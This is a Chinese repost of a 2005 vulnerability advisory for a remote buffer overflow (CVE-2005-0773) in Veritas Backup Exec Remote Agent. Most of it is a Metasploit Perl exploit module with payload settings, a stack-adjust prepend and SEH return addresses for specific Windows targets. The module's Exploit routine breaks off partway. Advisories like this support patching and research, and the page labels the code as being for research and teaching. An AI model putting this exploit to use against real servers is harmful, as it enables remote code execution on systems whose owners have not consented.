Veritas Backup Exec Remote Agent for Windows …

发布日期：2005-06-23
更新日期：2005-06-23

受影响系统：

Veritas Backup Exec for Windows Servers 9.1
Veritas Backup Exec for Windows Servers 9.0
Veritas Backup Exec for Windows Servers 10.0

描述：

---

BUGTRAQ ID: 14022
CVE(CAN) ID: CVE-2005-0773

Veritas Backup Exec Remote Agent是一款支持网络数据管理协议（NDMP）的数据备份和恢复解决方案。

Veritas Backup Exec Remote Agent在处理用户认证请求时存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在服务器上执行任意指令。

当客户端发送一个类型3的认证请求，而且带有一个超长的Password字段时会触发缓冲区溢出漏洞，导致执行任意指令。

<**>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::backupexec_agent;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
{
'Name' => 'Veritas Backup Exec Windows Remote Agent Overflow',
'Version' => '$Revision: 1.9 $',
'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'winnt', 'win2000', 'winxp', 'win2003' ],
'Priv' => 1,

'AutoOpts' => { 'EXITFUNC' => 'process' },

'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 10000],
},

'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'Keys' => [' ws2ord'],
'Prepend' => "\x81\xc4\x54\xf2\xff\xff", # add esp, -3500
},

'Description' => Pex::Text::Freeform(qq{
This module exploits a stack overflow in the Veritas BackupExec Windows
Agent software. This vulnerability occurs when a client authentication request
is received with type '3' and a long password argument. Reliable execution is
obtained by abusing the stack overflow to smash a SEH pointer.
}),

'Refs' =>
[
['OSVDB', '17624'],
['CVE', '2005-0773' ],
['URL', 'http://www.idefense.com/application/poi/display?id=272&type=vulnerabilities'],
['URL', 'http://seer.support.veritas.com/docs/276604.htm' ],
['MIL', '9'],
],

'DefaultTarget' => 0,
'Targets' =>
[
['Veritas BE 9.0/9.1/10.0 (All Windows)', 0x0140f8d5, 0x014261b0 ],
['Veritas BE 9.0/9.1/10.0 (Windows 2000)', 0x75022ac4, 0x75022ac4 ],
],

'Keys' => ['veritas'],
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

# Version 4.2 -> 9.1
# Version 5.1 -> 10.0
sub Check {
my $self = shift;
my ($vend, $prod, $vers) = $self->GetVersion;

if (! $vend) {
$self->PrintLine("[*] Could not determine the version number");
return $self->CheckCode('Unknown');
}

$self->PrintLine("[*] $prod Version $vers ($vend)");
return $self->CheckCode('Detected');
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;

标签：

版权申明：本站文章部分自网络，如有侵权，请联系：west999com@outlook.com
特别注意：本站所有转载文章言论不代表本站观点，本站所提供的摄影照片，插画，设计作品，如需使用，请与原作者联系，版权归原作者所有